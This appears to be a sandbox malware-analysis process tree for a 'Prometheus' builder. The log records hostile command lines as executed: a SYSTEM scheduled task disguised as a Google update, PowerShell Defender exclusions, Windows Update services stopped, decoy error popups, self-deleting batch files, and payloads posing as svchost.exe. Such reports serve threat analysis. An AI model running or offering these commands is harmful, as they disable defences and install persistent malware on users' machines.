C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\yntnomxcupkb.xml"2⤵
- Creates scheduled task(s)
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Windows\TEMP\yntnomxcupkb.xml"2⤵
- Creates scheduled task(s)
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\yntnomxcupkb.xml"2⤵
- Creates scheduled task(s)
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Windows\TEMP\yntnomxcupkb.xml"2⤵
- Creates scheduled task(s)
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\Builder.bat" "2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exepython --version3⤵
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exepython -c "import customtkinter"3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exepython -c "import PIL"3⤵
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exepython -c "import pyaes"3⤵
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exepython -c "import urllib3"3⤵
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exepython gui.py3⤵
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"4⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\dist\hacn.exeenv/Scripts/dist/hacn.exe4⤵
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\dist\hacn.exeenv/Scripts/dist/hacn.exe5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Local\Temp\_MEI45842\s.exe -pbeznogym6⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
C:\Users\Admin\AppData\Local\Temp\_MEI45842\s.exeC:\Users\Admin\AppData\Local\Temp\_MEI45842\s.exe -pbeznogym7⤵
- Checks computer location settings
-
C:\ProgramData\main.exe"C:\ProgramData\main.exe"8⤵
- Checks computer location settings
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp55D9.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp55D9.tmp.bat9⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV110⤵
-
-
C:\Windows\system32\tasklist.exeTasklist /fi "PID eq 7152"10⤵
- Enumerates processes with tasklist
-
-
C:\Windows\system32\find.exefind ":"10⤵
-
-
C:\Windows\system32\timeout.exeTimeout /T 1 /Nobreak10⤵
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"10⤵
-
-
-
-
C:\ProgramData\svchost.exe"C:\ProgramData\svchost.exe"8⤵
-
C:\ProgramData\svchost.exe"C:\ProgramData\svchost.exe"9⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV111⤵
- Suspicious use of SetWindowsHookEx
-
-
-
-
-
C:\ProgramData\setup.exe"C:\ProgramData\setup.exe"8⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
-
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('System requirements do not reach this programs preconditions.', 0, 'FATAL ERROR', 32+16);close()""4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('System requirements do not reach this programs preconditions.', 0, 'FATAL ERROR', 32+16);close()"5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\run.bat" "4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Windows\System32\chcp.com"5⤵
-
C:\Windows\System32\chcp.comC:\Windows\System32\chcp.com6⤵
-
-
-
C:\Windows\System32\chcp.com"C:\Windows\System32\chcp.com" 650015⤵
-
-
C:\Windows\System32\chcp.com"C:\Windows\System32\chcp.com" 4375⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exepython process.py5⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" process.py6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "pyi-grab_version "C:\Windows\System32\mavinject.exe" version.txt"7⤵
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\pyi-grab_version.exepyi-grab_version "C:\Windows\System32\mavinject.exe" version.txt8⤵
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe"C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe" "C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\pyi-grab_version.exe" "C:\Windows\System32\mavinject.exe" version.txt9⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" "C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\pyi-grab_version.exe" "C:\Windows\System32\mavinject.exe" version.txt10⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"11⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"11⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"11⤵
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\pyinstaller.exepyinstaller --noconsole --onefile --clean --noconfirm loader-o.py --name "based.exe" -i NONE --hidden-import urllib3 --hidden-import sqlite3 --hidden-import pyaes --hidden-import ctypes --hidden-import ctypes.wintypes --hidden-import json --add-binary rar.exe;. --add-data rarreg.key;. --add-data blank.aes;. --version-file version.txt5⤵
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe"C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe" "C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\pyinstaller.exe" --noconsole --onefile --clean --noconfirm loader-o.py --name "based.exe" -i NONE --hidden-import urllib3 --hidden-import sqlite3 --hidden-import pyaes --hidden-import ctypes --hidden-import ctypes.wintypes --hidden-import json --add-binary rar.exe;. --add-data rarreg.key;. --add-data blank.aes;. --version-file version.txt6⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" "C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\pyinstaller.exe" --noconsole --onefile --clean --noconfirm loader-o.py --name "based.exe" -i NONE --hidden-import urllib3 --hidden-import sqlite3 --hidden-import pyaes --hidden-import ctypes --hidden-import ctypes.wintypes --hidden-import json --add-binary rar.exe;. --add-data rarreg.key;. --add-data blank.aes;. --version-file version.txt7⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"8⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"8⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 352 3488⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 352 3489⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx -V8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 668 6528⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 668 6529⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 664 6768⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 664 6769⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 676 6568⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 676 6569⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 668 7128⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 668 7129⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 656 6728⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 656 6729⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 656 7048⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 656 7049⤵
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\python310.dll8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\_decimal.pyd8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\_hashlib.pyd8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\_lzma.pyd8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\_bz2.pyd8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\unicodedata.pyd8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\select.pyd8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\_socket.pyd8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\_ctypes.pyd8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\_sqlite3.pyd8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\_ssl.pyd8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\_queue.pyd8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\libcrypto-1_1.dll8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\libffi-7.dll8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\sqlite3.dll8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\libssl-1_1.dll8⤵
-
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exepython postprocess.py5⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" postprocess.py6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"7⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"7⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"7⤵
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\dist\hacn.exehacn.exe5⤵
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\dist\hacn.exehacn.exe6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Local\Temp\_MEI74762\s.exe -pbeznogym7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
C:\Users\Admin\AppData\Local\Temp\_MEI74762\s.exeC:\Users\Admin\AppData\Local\Temp\_MEI74762\s.exe -pbeznogym8⤵
- Checks computer location settings
-
C:\ProgramData\main.exe"C:\ProgramData\main.exe"9⤵
- Checks computer location settings
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpC930.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpC930.tmp.bat10⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV111⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\tasklist.exeTasklist /fi "PID eq 6272"11⤵
- Enumerates processes with tasklist
-
-
C:\Windows\system32\find.exefind ":"11⤵
-
-
C:\Windows\system32\timeout.exeTimeout /T 1 /Nobreak11⤵
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"11⤵
-
-
-
-
C:\ProgramData\svchost.exe"C:\ProgramData\svchost.exe"9⤵
-
C:\ProgramData\svchost.exe"C:\ProgramData\svchost.exe"10⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"11⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV112⤵
- Suspicious use of SetWindowsHookEx
-
-
-
-
-
C:\ProgramData\setup.exe"C:\ProgramData\setup.exe"9⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
-
-
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\dist\Rar.exerar a -r -sfx -z"xfs.conf" Build hacn.exe based.exe5⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\pyinstaller.exepyinstaller -F -w -i icon.ico --add-data "Build.exe;." main.py5⤵
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe"C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe" "C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\pyinstaller.exe" -F -w -i icon.ico --add-data "Build.exe;." main.py6⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" "C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\pyinstaller.exe" -F -w -i icon.ico --add-data "Build.exe;." main.py7⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"8⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"8⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 392 3008⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 392 3009⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx -V8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 404 3088⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 404 3089⤵
-
